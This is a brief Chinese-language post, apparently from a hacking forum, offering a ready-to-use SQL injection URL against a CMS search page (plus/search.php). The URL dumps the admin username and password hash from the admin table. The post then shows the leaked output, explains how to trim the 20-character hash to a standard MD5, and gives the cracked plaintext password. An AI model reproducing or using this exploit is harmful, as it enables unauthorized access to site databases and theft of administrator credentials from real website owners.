那么直接用下面的exp
[code]xx.com/plus/search.php?keyword=as&typeArr[111%3D@`\’`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\’`+]=a[/code]
admin
04d1823eacbfc41d78f9…
忘记了，这是20位数的
我们去掉前面一个，去掉后面三个
错了，是去掉前面三个，后面一个
1823eacbfc41d78f = lezhe888